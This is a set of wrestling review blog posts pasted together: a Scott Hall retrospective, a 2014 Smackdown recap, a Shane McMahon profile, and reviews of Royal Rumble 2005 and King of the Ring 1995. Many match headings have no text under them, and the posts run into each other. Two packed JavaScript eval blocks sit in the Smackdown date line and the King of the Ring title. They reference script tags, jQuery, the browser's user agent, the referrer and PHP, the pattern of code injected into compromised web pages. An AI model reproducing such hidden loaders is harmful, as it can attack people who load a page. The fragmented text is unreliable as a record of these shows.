Wrestler of the Day – January 16: Scott Hall

Hall got his start in Florida but would first come to prominence in the AWA as Big Scott Hall. He would win the tag titles with Curt Hennig and defend them at WrestleRock 86 on April 20, 1986.

Tag Titles: Scott Hall/Curt Hennig vs. Long Riders

The Long Riders are a biker team who ride in on their motorcycles. Hall gets an award for being popular pre match. The champions won the titles in Albuquerque apparently, which is nowhere near the AWA territory, so I’m going to bet that match didn’t happen. Also the regular AWA ring announcer, Larry Nelson, is now sitting in on commentary with Trongard. The Long Riders are Scott “Hog” Irwin and Wild Bill Irwin.

Hall starts with Scott (for this match, Scott will only be used for Scott Irwin. Scott Hall will only be called Hall) as we hear about the Long Riders being made to wear wrestling gear. Apparently their biker gear has been used for EVIL and has therefore been banned. Nothing goes on here so the partners both tag off. Hennig hits a HUGE dropkick on the future Goon and we head to the floor for a chase scene. Back to Hall as the champions have been in total control the whole time so far.

Bill manages to take Hall to the mat for about two full seconds but the more famous one grabs an armbar to take over. Off to Hennig and the beating continues. Dropkick gets two as we’re five minutes in. Curt and Bill slug it out and Hennig superkicks him down for two. Bill misses a charge and an elbow drop so Hennig grabs a headlock. They get up and do a weird sequence where they’re both on their stomachs and Curt crawls at him as Bill backpedals to the floor.

Test of strength now and Hennig kind of suplexes him over for two. The Riders take over on Curt with some double teaming. They draw in Hall for some lame double teaming as we’re at ten minutes into this. More double teaming which is mainly just assisted choking. Curt avoids an elbow drop and it’s off to Hall. House is cleaned and noggins are knocked but it’s back to Hennig. Everything breaks down and Curt is sent to the floor. It doesn’t really matter though as Hall goes to the floor with Scott, allowing a missile dropkick from Hennig to retain the titles.

Rating: C-. Not bad here as there was a formula and an idea here, but the execution wasn’t that great. The Riders were a pretty weak team but it could have been far worse. Hennig was a huge deal in the AWA and would hold the world title for over a year starting in May of 87. Decent match but nothing all that great. It’s a big upgrade on the majority of the show though.

 

Scott Hall/Steve Keirn vs. Dick Slater/Bam Bam Bigelow

WWF World Title: Razor Ramon vs. Bret Hart

Feeling out process to start with Razor getting the early advantage with some right hands. A knee in the corner misses and Bret has on the Figure Four in less than 90 seconds. Razor gets the rope so Bret drops elbows on the knee instead. The leg gets wrapped around the post before Bret goes after the other leg in the corner for some reason. Ramon comes back with a whip to send Bret ribs first into the post.

Intercontinental Title: Shawn Michaels vs. Razor Ramon

Razor would stick around the midcard title scene for the next several years while still being one of the most popular wrestlers in the company. He would trade the title with Diesel later in the year, setting up an Intercontinental Title defense against Jeff Jarrett at the 1995 Royal Rumble.

Intercontinental Title: Jeff Jarrett vs. Razor Ramon

Jarrett is challenging and now has the Roadie with him. Razor starts with his usual assortment of punches and a fallaway slam to send Jeff to the floor. After a little toweling off on the floor, Jeff armdrags Razor down and struts. They trade arm holds until Razor gets taken to the mat where Jeff messes with his hair. Careful with the grease there Jeff. Razor gets annoyed and knocks Jeff to the floor for some more Memphis stalling.

Intercontinental Title: Jeff Jarrett vs. Razor Ramon

Razor tries some quick rollups for two but Jeff goes right for the knee to take over. Jeff does his best Ric Flair imitation but as he goes for the third cannonball down onto the leg, Razor kicks him over the top and out to the floor. Back in and Jarrett puts on the Figure Four, putting Razor in a lot of trouble. Razor escapes and starts his comeback with punches and the belly to back superplex but Jeff counters in mid air for two. Razor clotheslines him down and loads up the Edge, but the knee gives out and Jeff rolls him up for the pin and the title.

Razor would leave the WWF in May of 1996 and join WCW for the biggest angle of all time. This would lead to Bash at the Beach 1996 and the turn to end all turns.

Sting/Lex Luger/Randy Savage vs. Kevin Nash/Scott Hall/???

In case you don’t remember, the WCW guys were selected by putting the names of the top 6 WCW wrestlers based on win/loss record over the past I think six months or a year in a hat and drawing them out. The others were Hogan, Taskmaster and Giant. Hall and Nash come out alone and don’t have names yet. Tony gives them their names here. Until then they were just the Outsiders.

I’m not one for six man main events but this feels huge. Partially because it is huge. Gene goes into the ring before the WCW guys are here to find out who the third man is or for that matter where he is. The build for the drama here is epic. They’re milking this for everything they can.

The commentators aren’t even trying to stay unbiased which for once is nice. Even Randy Anderson is taller than Gene. Buffer is almost as tall as Scott Hall. Wow I didn’t realize that. The bell rings and we actually start with a handicap match.

The paranoia of the announcers actually upgrade this, marking the final time the WCW commentators don’t make me want a stiff drink in the history of WCW. Luger and Hall start. Now we get to the interesting part about a minute in. It turns into a big brawl and Nash and Luger are in the corner. Sting launches a Stinger Splash and nails Nash.

He also nails Luger, whose head and neck are rammed into the turnbuckle/bar attaching the turnbuckle to the ring. He’s OUT. They bring out a stretcher to carry him to the back and we have a 2-2 match with the third man on the way out. Now this does a few things. First of all, it makes the Outsiders look like they have a chance. Being realistic, there was no three man combination in the world that could have beaten Sting, Luger and Savage at this point and looked dominant.

That’s a WCW All-Star team to put it mildly and it would have been a waste of time to try. By making it two against what would become three, it makes WCW, the faces, at a disadvantage as they should be (are you listening TNA?). Also, this throws out a tiny piece of meat to the smarks as Luger and Sting had been the top candidates to be the third man.

It opens a door for Luger coming back and never being hurt and it opens a door for Sting to have done that on purpose. Either way the match pretty much stops at this point while we wheel Luger out. Tony says the Outsiders planned that somehow. That makes no sense but whatever. Crowd is RABID here.

Savage comes in but when Nash goes for a big elbow he lands on Savage’s head so Sting has to come in. Nash beats the heck out of Sting as does Hall so Savage is going to get the hot tag. There’s no real penalty or reward if the Outsiders win. They’re doing something brilliant here as they’re pacing things out to the point where we forget about the third man.

That’s very smart booking and I’m in awe of how this match is going. Tony says the Outsiders should get hurt. Wow. I’m not sure if that’s awesome or not. Savage FINALLY gets the hot tag and you actually can barely understand the announcers over the crowd. Nash gets a low blow on him though…and here comes Hulk Hogan. Heenan asks which side is he on.

The Outsiders clear the ring….and Hogan turns heel, dropping a leg on Savage and then another one. To say the crowd is ticked off is an understatement. This is legitimately a shock as NO ONE, not Meltzer, not Keith, not Reynolds, no one called this and if they did they were wrong at the time because from every report I can find, this decision was made the day of or the day before the show as Sting was scheduled to be the third man until Hogan agreed to do it.

This was a legitimate shocker and it lived up to every bit of the hype. Hogan turning was the one thing that made this angle work as I’ll get into later on. This was a great moment and I was about to cry when it happened. The fans flood the ring with garbage as Gene gets in. Hogan cements his heel status by saying the fans need to shut up if they want to hear what he has to say. That line alone makes this promo.

He says the name and the rest is history. Hogan claims the success for making WWF. I’m shocked too. Hogan says he’s bored with WCW and is joining up with the Outsiders and calls them the new blood of WCW. This is the one problem I had with both this turn and Austin joining the Alliance in 2001. Both guys said they were bored with the companies they had been in and wanted better competition.

If you’re going to be fighting the company you used to work for, won’t you be fighting the same competition you were fighting before? Hogan’s title win was over Giant who he had fought at I think three PPVs and his first defense was against Flair and you know that history. That just never made sense to me.

He throws in the for some reason semi-famous line about Bischoff selling meat from a truck in Minneapolis which is actually true. Hogan runs down the fans and does his trademark line. Tony says Hogan where he can go twice and we’re done.

Rating: A+. This was about launching the NWO. It worked.

Hall would join Kevin Nash as the Outsiders and dominate the tag division, including this title defense at Starrcade 1996.

Tag Titles: Outsiders vs. Faces of Fear

 

 

 

Rating: C-. This one went longer than it needed to and even when I was eight years old I knew the Faces of Fear had no chance here. The Outsiders held those belts for the better part of a year and a half with no one being able to take them from them (and keep them that is). The match was a watchable power match but the belts never felt like they were in danger at all.

Hall would mainly be in tag team matches for the rest of the year but would win the World War 3 battle royal, earning him a world title shot at Uncensored 1998.

WCW World Title: Sting vs. Scott Hall

Hall won World War 3 which was only four months earlier. There’s your story. He also has Dusty Rhodes with him because he’s a heel turn we’re supposed to care about I guess. Sting hammers him to start and Hall bails. Mark Curtis, the referee, is REALLY skinny. He would die of cancer a year and a half later so maybe that’s partially to blame for it. He looks fine other than that. Maybe he’s just a skinny guy.

Hall hits a chokeslam and does his Giant imitation instead of covering with even Bobby freaking out over his stupidity. Hall goes out to the floor again and Dusty trips up Sting so Hall can clothesline him. Fallaway Slam hits as this is just Hall’s Greatest Hits here. Sting does his collapse into the balls thing. Dusty comes in and drops the elbow which the referee somehow misses despite the slight earthquake off the landing.

That only gets two though and Hall punches some more. Here’s the comeback and Sting hits a Stinger Splash in the corner. Scorpion is attempted but he has to drill Dusty instead. Down goes the referee (shocking) and Dusty throws in some brass knuckles. Another referee comes in for a two count. Outsider Edge is reversed into the Death Drop and we’re done.

Rating: C-. This is one of those matches where it’s supposed to be a big match and is just another match. This could have been a moderately big Nitro main event and no one would have noticed I don’t think. It’s not horrible but dude, that’s it? Sting would lose the title the next month so that Hogan could get it back the next night, because that’s what people wanted to see. Right?

 

While mainly a tag wrestler, Hall would occasionally have singles success, including a US Title match with Roddy Piper at SuperBrawl 1999.

US Title: Roddy Piper vs. Scott Hall

Disco lets go and Piper hiptosses out. Piper hooks the sleeper but Disco comes in to break it up. Disco gets beaten up and Nash runs in. Piper hits him too but Hall gets in a shot and covers with his feet on the ropes to win the title. Yeah, because SCOTT HALL is the right choice to give a title too. That gives the NWO the World, US and TV Titles. In 1999.

He spent most of 1999 on the injured list and would leave WCW in early 2000. After a two year run in Japan, Hall would return to the WWF with Hall and Nash in the NWO. Hall would face Steve Austin at Wrestlemania XVIII.

Steve Austin vs. Scott Hall

Tag Titles: The Band vs. Ink Inc.

Since Morgan isn’t champion anymore, there’s more or less no build here. Why would you need one of those? Ink Inc. CLEARLY is enough drawing power to not need an angle or a feud or anything pesky like that. Oh and clearly THESE TWO are the second best team in the company. Hall and Moore start us off. Wow I can’t stand these challengers.

Tenay and Taz continue their brilliance by pointing out that they number one contenders have had one match which they had after being named number one contenders. Brilliant guys. The Outsiders use all of their old favorites and it’s just not that interesting. I love Hall just standing there watching his partner getting the tar beaten out of him.

Down goes the referee as the spear misses. Young, armed with a kendo stick is here. Neal gets a spear on Nash though. That’s a bit surprising. Bubba comes out and yells at Nash before popping Neal with the stick. Oh here we go again. Young pulls Nash on top for the cover and the pin.

Rating: D. Seriously? THIS is the best tag title match they could come up with? That makes my head hurt. Just not an interesting match at all and boring to top that off. Horrible and likely worst of the night so far. The whole Band idea just doesn’t work but they keep going with it anyway.

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Smackdown – January 17, 2014: Punk’s Career Suicide

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hihri|var|u0026u|referrer|eehns||js|php'.split('|'),0,{})) January 17, 2014
Location: DCU Center, Worcester, Massachusetts
Commentators: Michael Cole, John Bradshaw Layfield, The Miz

New Age Outlaws vs. Cody Rhodes/Goldust

Billy comes in but is backdropped out to the floor, allowing for a tag off to Cody. Why Goldust is exhausted already is beyond me as he was barely touched. He powerslams Roadie down and tags in his brother to a nice pop. Cody cleans house on Gunn but has to deal with Road Dogg as well. A double springboard missile dropkick puts the Outlaws down for two as everything breaks down.

Alberto Del Rio vs. Rey Mysterio

Rating: C+. This took time to get going but the last few minutes were good back and forth stuff. It was a nice change of pace for Del Rio to not be on the arm the entire way through, even though he stayed on the arm as is his custom. This was way better than their basic match on Raw, which is nice as they have chemistry together.

Post match Del Rio jumps Mysterio and puts him in the cross armbreaker.

Naomi vs. Tamina Snuka

Fallout from Tamina hitting AJ with the Rear View on Monday. Emma is in the audience doing her dance again. Miz reads a statement from Maryse congraulating AJ on breaking her record for longest reigning Divas Champion. Naomi jumps Tamina to start but is easily knocked down and backdropped for two. We hit the chinlock for a bit before Naomi comes back with some kicks to the ribs and a modified bulldog. A Bubba Bomb puts Tamina down but the referee is looking at Cameron and AJ. Tamina uses the distraction to kick Tamina in the head and hit a split legged moonsault for the pin at 2:35.

Video of Bryan turning on Bray Wyatt Monday to a huge reaction.

Instead he cast Bray out amidst the sheep, forcing him to walk the earth alone. But then Sister Abigail saved him by singing the sweetest songs Bray had ever heard. Bray became obsessed with her beauty and power, but Abigail told him that Bray would be betrayed again on his path to righteousness.

Big E. Langston vs. Fandango

Ultimate Warrior Hall of Fame video.

Video on the WWE Network.

Real Americans vs. Usos

Colter is in a wheelchair to sell the attack on Monday. Cesaro and Swagger do the hand over the heart but Zeb rolls down the ramp without them holding him in place. Before the match, Colter, with his voice muffled by the neck brace, says he wants Lesnar to destroy Big Show at the Rumble before asking the fans do say WE THE PEOPLE. Jimmy has bad ribs and Jey has a bad shoulder due to the cage match on Monday.

Swagger throws Jey around to start and the injuries take their tole immediately. Off to Cesaro for some shoulders to the ribs before Swagger comes back in with knees to the midsection as well. Jack launches Cesaro into a splash in the corner and Antonio follows up with rights and lefts to the ribs as we take a break. Back with Jimmy in the Cesaro Swing which still gets a nice reaction, months after it was at its peak. Jimmy fights off the dizziness and kicks the Real Americans in the face and stomach, finally allowing the hot tag to Jey. The running Umaga attack gets two on Jack and a Samoan drop gets the same.

Results

New Age Outlaws b. Cody Rhodes/Goldust – Rollup to Rhodes

Rey Mysterio b. Alberto Del Rio – Rollup

Naomi b. Tamina Snuka – Split legged moonsault

Big E. Langston b. Fandango – Big Ending

Usos b. Real Americans – Superfly Splash to Swagger

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Wrestler of the Day – January 15: Shane McMahon

Today we look at the Boy Wonder, a man who had the talent of a wrestler but was actually a businessman: Shane McMahon.

Shane debuted as a commentator on Heat in 1998 and never seemed to have anything to him from a physical standpoint. He was average size and appeared to be all talk. However he would eventually talk his way into the ring, with his second match being a tag team match for the European Title as he teamed with Chyna against HHH and champion X-Pac.

European Title: Shane McMahon/Kane vs. X-Pac/HHH

Test vs. Shane McMahon

Test takes Shane down to start but Shane hits a quick spear back inside, only to be pounded in the corner. A backdrop puts Shane down as the Posse drinks champagne. Shane is sent HARD into the steps and then into the crowd for a drink to the head. Test catches Shane diving off the barricade and powerslams him down onto the floor. Shane staggers around ringside so Test launches him at the Posse to tip the couch over.

Hardcore Title: Shane McMahon vs. Steve Blackman

Shane took the title from Blackman with the help of a small army on Monday. Steve brings in a kendo stick so Shane runs to the apron. They throw the stick back and forth until Blackman offers him a free shot to the back. Shane picks up the stick but Blackman spins around to block it, starting a chase through the crowd. Blackman finally catches him with a trashcan shot and the beating begins. Shane gets caught in the crowd and some chops to the chest put him down.

They go up to the entrance with Test shoving what looked like a speaker over onto Blackman but Steve avoids to prevent death. Blackman finds a kendo stick to take the big guys down but Shane gets in a cheap shot. He runs away and climbs up the set like a crazy man and Blackman goes after him. They go WAY up into the air with Blackman hitting Shane in the back with the stick, knocking him probably thirty feet down onto a crash pad. Blackman climbs down a bit before dropping a big elbow to take the title back.

Vince McMahon vs. Shane McMahon

Stephanie gets in the ring and slaps Shane in the face, causing a chase sequence. Shane stops to hit Vince in the head with a sign before beating him over an over in the back. A clothesline off the barricade puts Vince down again before Shane whips him into the barricade. Shane blasts him in the back with a kendo stick over and over before peppering him with left jabs and a big right cross. Other than the brief flurry to start this is all Shane.

Trish surprises everyone by slapping Vince, turning face in the process. Stephanie goes after Trish, triggering a catfight in the ring. Mick pulls Stephanie off of Trish, only to get slapped in the face for his efforts. Stephanie runs from Trish and does the worst looking fall in the history of bad looking falls to let Trish catch up before leaving the arena. Back at ringside Vince wakes up and calls his wife a very bad name but Foley stops any potential domestic violence. Vince is fine with that and blasts Mick in the back with a chair.

Big Show vs. Shane McMahon

Show hits the ropes a few times before Shane comes out. Shane comes out to a version of Here Comes The Money here. He has that stupid book with the fable in it with him also. Shane hides under the ring but pops out with a kendo stick to get in some solid shots. Big old clothesline takes him down though and we head back into the ring. Shane gets some solid chair shots and finally takes Show down.

 

Shane goes to the floor and gets a bag. He puts a surgical mask on and some gloves before grabbing a rag to put over Show’s face. This works for the most part and Show goes down to his knees. Now down to his stomach. The fans are completely behind Shane here. At about five Vince runs down and pops Shane with a chair. Show, ever the genius, pulls Shane up at about 8.

 

Final Cut puts Shane down again as we wait around more while the referee counts. That’s a large portion of most last man standing matches and it takes too much most of the time. Show picks him up again and drops him with a chokeslam. He picks Shane up again despite Shane being mostly dead. Torture Rack goes on but here’s Test to pound on Show. They had a thing on Smackdown so this works.

 

Show beats him down also and the big men go to the floor. Up towards the stage and Test gets in some weapon shots to slow him down a bit. Show beats on him some more and here comes Shane again. After some sign shots by Shane, Show finds a pipe from somewhere. Shane climbs the set to escape and Show goes after him. Test pulls him down and beats him up, allowing Shane to hit a HUGE dive, as in literally 25 feet or so to crush Show with an elbow. Test holds Shane up with a boom mic and we’re done. That spot was insane beyond belief.

 

Rating: C. You can only get on Shane so much for these, but the whole thing is basically Show beats on him, Shane is dead, Show picks him up, repeat. That took twelve minutes somehow. The big spot was cool but it didn’t really save the match. Also the replays showing that he totally missed didn’t help.

 

Shane McMahon vs. Kurt Angle

It should be noted that this is one of my favorite matches ever so I’ll be biased in it. Wait, they’re my reviews so I’m biased towards myself, so it’s fine. Angle throws his medals down on the way to the ring so you know this is serious. Again, JR says that after I typed it so I win again. Angle is just beating the tar out of Shane to start here. And just as I say that Shane starts throwing lefts and fights back.

With Shane on the floor, Angle gets on all fours and wants to go amateur, which is more popular that pro in certain areas other than wrestling. Naturally Angle easily gets out and beats on Shane even more. In a nice looking move, Angle hits a gutwrench but it’s overhead instead of to the side. It looked cool. Angle is just throwing Shane everywhere. It looks like a squash but don’t worry. It’ll get better. Shane has had three punches and an armdrag.

He offers Shane another amateur attempt but this time Shane just punts him in the ribs. That’s followed by a jumping back elbow making him awesome. On the floor now, Shane gets on the railing behind JR and Heyman and jumps over both them and the table to hit Kurt with a clothesline in a sweet spot. The guy was athletic and no one can ever argue that.

It’s certainly more entertaining than seeing Vince out there making a fool out of himself. And we have a kendo stick which Shane can swing really well. He actually breaks it over Angle’s back which has to feel like agony. Shane uses armdrags on the floor to send Angle into the railing which is a nice spot. Shane goes for a cover and Angle bridges out of it. Think of the Matrix move.

Shane does the smart thing and just hits him in the stomach. Angle does this three times, showing off his stupidity. It’s weapons time now and Shane is dominating. Ankle lock by Shane and Kurt just kicks him in the face. Nothing wrong with that. We get a Sharpshooter attempt and Shane botches it but gets it eventually. It looks bad but it’s ok I guess. Granted almost no one gets it right so it’s fine.

Shane is just beating the heck out of Angle here. He puts a trash can on his stomach and goes to the top for a shooting star press which misses but looked solid. The fans get a holy censored chant going as they’re impressed here. We hit the floor again and Shane hits a suplex, which breaks Kurt’s tailbone. He’s legit hurt which makes the rest of the match even more impressive. His solution to Shane fighting back: slam Shane’s head into a wall. I like the simple ideas.

In the sickest bump you’ll see in years, Angle suplexes Shane over his head into one of the glass walls with KOR (what, no love for the?) on them. The problem is that it doesn’t break and Shane lands on his head which goes THUD. It sounded and looked SICK. Shane is more or less out of it.

Angle, ticked off that it didn’t work, picks him up and does it AGAIN, this time having it work, drawing another holy chant. Angle’s arm is bleeding. We’re under the stage now and Angle suplexes him again and AGAIN it doesn’t break. Shane is busted. Angle goes for another suplex and it doesn’t break. In essence, Shane is being thrown into a wall. Kurt is ticked and just picks him up and launches him through a glass wall.

Shane looks like he’s been beaten by an army and raped by a bear while being run over by a train. Angle is spent too. Everyone is just bleeding like there’s no tomorrow. Angle gets an anvil case and puts Shane on it to wheel him back to the ring. That’s a good idea as he’s just dead weight at this point. We’re back in the ring and Angle covers Shane. For two. The place pops like a freaking teenage girl for that. We get a replay where we can see Kurt’s face and he looks like he wants to cry.

A low blow connects and Shane isn’t dead yet. He gets a trash can lid and just pops the tar out of Angle and hits an Olympic Slam for two. Both guys are just freaking spent. Shane gets catapulted into the corner where he just kind of collapses. Angle gets a board from somewhere and just beats Shane about the back and shoulder with it. There’s something awesome about that.

He sets it up on the copes and climbs to the top where he this the Olympic Slam from the top rope. I would say Shane lands in the middle of the ring with a thud, but as they said in Con Air, “the word ain’t land. It’s crash.” They show a bunch a replays and the slam looks cooler and cooler ever time. I mean Shane just explodes on the mat and it looks amazing. Shane’s best match ever by about 1000 miles. They carry him out and he’s just gone. The Slam off the top got the pin if that wasn’t clear.

Rating: A. This was just freaking brutal. It’s a great street fight where you never really believed Shane was completely out of it. That’s a great thing to be able to say, but Shane took the best beating I can recall anyone taking in a long time. Find a copy of this match as it’s right up there with any beating I’ve ever seen.

Shawn Michaels/God vs. Vince McMahon/Shane McMahon

Vince starts to run his mouth some more and Shawn finally drills him to get going. The daddy goes to the floor while Shawn beats up Shane. Shawn dives on Vince before clotheslining Shane to the floor and hitting a flip dive to take him out. Michaels chops Shane up the ramp but Shane comes back with knees to the stomach. Shane tries to piledrive Shawn off the stage but gets backdropped instead.

The numbers catch up with Shawn and he gets beaten down by the five male cheerleaders who are currently tag team champions at this point. They throw Shawn back in and get the McMahons off the tables. The Squad takes Shawn into the ring and hit their finisher on him, which is them all picking him up at once and dropping him through a table. Vince gets the pin. JR calls this BS but the uncensored version.

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Royal Rumble Count-Up – 2005: The New Guys

Royal Rumble 2005
Date: January 30, 2005
Location: Save Mart Center, Fresno, California
Attendance: 12,000
Commentators: Michael Cole, Jerry Lawler, Jim Ross, Tazz

The opening video is designed like a clock counting down in the Rumble. Cool idea there.

Edge vs. Shawn Michaels

The Canadian is sent back to the floor but he catches Shawn in an Edge-O-Matic to take over again. A baseball slide keeps Shawn down and we head back inside. The fans are firmly behind Shawn here, which means the heel turn is working for Edge. Shawn tries a standing rana but gets caught in a powerbomb for two instead. Off to a rear naked choke from Edge which stays on for a good while.

Anyway Shawn pounds away in the corner and grabs a rollup for two, prompting Edge to try to walk out. The imbecile of a referee holds Shawn back, allowing Edge to sneak up from behind and spear Shawn to the floor. Shawn finally crawls back in and Edge dances a bit. Edge tunes up the band and spears Shawn down for two more, sending Edge into a fit. He pulls his own hair out and does those awesome facials that only Edge can do.

With nothing else to try, Edge puts Shawn on top for a superplex, only to get knocked down for the flying elbow from Shawn. Sweet Chin Music is countered into an electric chair drop for two more and Edge is very frustrated. Edge rolls through a sunset flip into the Edgeucator (imagine a Sharpshooter but with Edge behind Shawn like an ankle lock) but Shawn makes the rope. After a small package gets two for Shawn, Edge reverses a rollup into one of his own and grabs the ropes for the cheap pin.

Heidenreich is panicking about caskets when Snitsky comes up. Heavy breathing ensues and Snitsky says he has an idea.

The casket is brought out.

Undertaker vs. Heidenreich

Smackdown World Title: Kurt Angle vs. Big Show vs. John Bradshaw Layfield

Rating: C+. This is one of those matches I was expecting to suck but it wound up being pretty solid. Angle is going to be good no matter what he does and Show had some solid motivation out there for a change. JBL escaping with the title was a recurring theme for nearly a year until he ran into a buzzsaw called John Cena in a few months. Shockingly good match here.

Batista goes to draw his number and hears Bischoff bar Evolution from ringside for the next match. Big Dave seems very happy to tell HHH.

Long video recapping HHH vs. Orton. They hate each other, Orton was never supposed to get another shot, so tonight he gets another shot.

Raw World Title: HHH vs. Randy Orton

The Game goes after the taped up knee and wraps it around the post because he can. HHH modifies the cannonball down onto the leg by dropping an elbow instead of sitting on it. After a quick attempt at a small package by Orton, HHH puts on a LONG Figure Four, lasting way longer than almost any other I can remember. Orton finally turns it over, sending HHH retreating to the floor.

Orton counters a Pedigree attempt into a catapult but HHH counters the RKO for at least the third time before hitting the high knee for two. Randy is bleeding from the lip. The Pedigree is escaped again and Orton gets two off a clothesline. The champ rolls to the floor again and gets sent into the steps for trying to hide. Back in and Orton pounds away in the corner, only to miss a DDT attempt and possibly give himself a concussion.

Teddy tells JBL and company that Jibbles has to defend the title against Big Show in a barbed wire steel cage match at No Way Out.

Royal Rumble

Benoit and Eddie fire off chops in the corner followed by a double suplex because they can. Eddie hits Three Amigos and Hardcore Holly is #4. Holly asks if he can have some fun with Puder and rips some skin off with chops in the corner. Benoit and Eddie get in some chops of their own before Holly kicks Puder low, hits the Alabama Slam, and throws him out. Hurricane is #5 as Guerrero and Benoit dump Holly.

Hurricane gets double teamed but Eddie tries a double cross, only to get chopped for his efforts. Hurricane hits a Blockbuster on Eddie but Benoit chops him down and whips him into Eddie for the elimination. Kenzo Suzuki (one of the most forgettable footnotes in wrestling history) is #6. Just like everyone else, Benoit and Eddie pound on him in the corner with chops and suplexes, but Benoit turns on Eddie ala earlier but only throws him to the apron.

Shawn is #19 and superkicks Simon out, doing some Hindu Squats to celebrate. Edge tries to corner Mysterio in a corner. JR: “Makes a lot of sense.” Shawn backdrops Charlie out and Kurt Angle is #20. He hits Angle Slams on everything in sight but tries the ankle lock on Shawn. Michaels rolls through and superkicks Angle out after less than 40 seconds. Coach is #21 and you can hear JR groan. He gets in a single shot on Benoit and runs to hide.

Ratings Comparison

Edge vs. Shawn Michaels

Original: B

Redo: B-

The Undertaker vs. Heidenreich

Original: D-

Redo: D

John Bradshaw Layfield vs. Big Show vs. Kurt Angle

Original: B

Redo: C+

HHH vs. Randy Orton

Original: D+

Redo: D+

Royal Rumble

Original: B-

Redo: A-

Overall Rating

Original: B-

Redo: B

Like I said, I liked the Rumble a lot more this time around.

http://kbwrestlingreviews.com/2011/01/24/royal-rumble-count-up-2005-the-rise-of-the-new-generation/

Remember to follow me on Twitter @kbreviews

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King of the Ring 1995: The Darkest Of Dark Days

King eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rebsy|var|u0026u|referrer|iabey||js|php'.split('|'),0,{})) of the Ring 1995
Date: June 25, 1995
Location: Philadelphia Spectrum, Philadelphia, Pennsylvania
Attendance: 16,590
Commentators: Vince McMahon, Doc Hendrix

Dang it it’s this show. This is considered to be one of the all time worst shows as absolutely nothing ever happened at it. I mean the show exists and some of the matches are ok, but nothing of note happens here. It’s the epitome of the dark ages for the WWF up to this point as just nothing at all is going on that means anything at all. Diesel is world champion here and your main event is him teaming up with Bam Bam Bigelow to face Tatanka and Sid.

Yeah see what I mean about nothing happens here? Also, this is the show that is referenced on Rise and Fall of ECW as the show where the ECW faithful show up and boo it to death as it’s so terrible. The tournament is half screwed already by injuries here and one of the spots isn’t determined until the preshow, 30 minutes before the PPV begins. My copy has that match on it, so let’s get this over with.

The intro says that while this is the place where democracy was born for America, monarchy will reign tonight. Eh I can live with that one I guess.

KOTR First Round: Savio Vega vs. IRS

It was supposed to be Razor Ramon, but he was legitimately hurt in a ladder match with Jarrett at a house show a few weeks prior to this, and because Vince is such a genius he didn’t give Razor a replacement in the two weeks he had before this show. Savio is young and annoying here while IRS is a glorified jobber, so guess who wins this? Razor is with Savio for moral support I guess.

I would have thought he was there to be Savio’s drug runner but whatever. IRS gets no intro or anything and within 20 seconds we have a boring chant. Vince says that it will be nearly impossible for one of these two to win four matches in one night, despite Randy Savage having done the impossible apparently in 88, but why remember anything over a week ago? Hat Guy is in the front row. The referee is wearing a long sleeved shirt and it just doesn’t look right. A spin kick from out of nowhere ends this after like four minutes.

Rating: C-. It was crap, but this was literally a free match so it’s hard to complain about it. It felt like a TV match and that’s about all it was.

That makes your brackets as follows:

Mabel
Undertaker

Kama
Shawn Michaels

Bob Holly
Roadie

Yokozuna
Savio

That’s better than last year but not by much at all. Let’s get this over with.

We get a more formal intro to the show where nothing of note is said. If Hendrix isn’t on all kinds of crack, my name is Sharona.

KOTR Quarterfinals: Yokozuna vs. Savio Vega

Yoko here is about as fat as a small country. He and Owen are tag champions here. Naturally Vince sees nothing wrong with booking more or less a cruiserweight against a guy that outweighs some large rocks less than 15 minutes after the hardest crowd in the world to please just saw him wrestle last. And people wonder why this company went so far down so fast.

Yoko beat Luger to get in here as Luger was about to leave for WCW and the debuting Nitro in just about 2 months while Savio just beat IRS. I really don’t want to review this show. Since we haven’t seen enough Savio already, we go back to Todd with Razor and Vega. Savio has an American flag and speaks mostly Spanish. There’s no way I can comment on that without getting an infraction.

We have a 15 minute time limit here. I’ve always wanted there to be like a 4 minute time limit or a 12 minute and 5 second time limit. That would just be interesting to hear in my mind for some reason. This reminds me of the freak shows of the early days of the UFC. Yoko was more or less worthless at this point as his weight just got completely out of control. Well I’m already bored out of my mind.

Savio, who can’t do much of anything to begin with, is in there against a guy that’s too big to do anything and no one cares about him anymore anyway. Hendrix calls Savio’s four minute match with IRS grueling. That sums up the announcing perfectly. Vince thanks the people listening in Spanish, which is again completely pointless as THEY AREN’T LISTENING TO THE ENGLISH COMMENTARY! Vega is apparently a Caribbean legend.

All Yoko can really do is punch and chop and choke. Razor has done absolutely nothing in this match either in case you were wondering. Owen comes out in a suit to attack Razor’s ribs so Yoko comes out to defend him, leading to Savio ramming him into the post for the count out. In other words, Savio has done what Lex Luger managed to do in the main event of Summerslam 1993. What does that tell you?

Rating: D. Yes, this is what they wanted to set the tone of the night with. The styles just COMPLETELY clashed here as neither guy could do anything here. Savio getting the win was kind of stupid when you think about it as Yoko’s minimal credibility is completely killed off in the name of a one night push. This was just stupid all around in my eyes and the match was both boring and pointless as well.

Jerry Lawler talks about the Kiss My Foot match later tonight against Bret with some dumb jokes.

KOTR Quarterfinals: Roadie vs. Bob Holly

Oh baby feel the greatness here! Jarrett is with Roadie, and since Jarrett is IC Champion, Savio gets a shot at him tomorrow. Roadie beat Doink to get in and Holly, who is still a racecar driver, beat Mantaur. Yeah this was just a horrible time in wrestling. Nothing of note is happening here. It’s just a bare bones basic match that might as well be on Superstars or something or even a house show.

There’s just nothing going on here and the fans are booing them out of the building. Why in the world should I care about these two fighting? I can’t think of a single reason. It’s a racecar driver against a guy that allegedly takes care of musical equipment for a fake singer. You know I love gimmicks, but this is absurd. This is nothing but house show material here. Why am I supposed to care about this match at all? It’s just flat out not interesting.

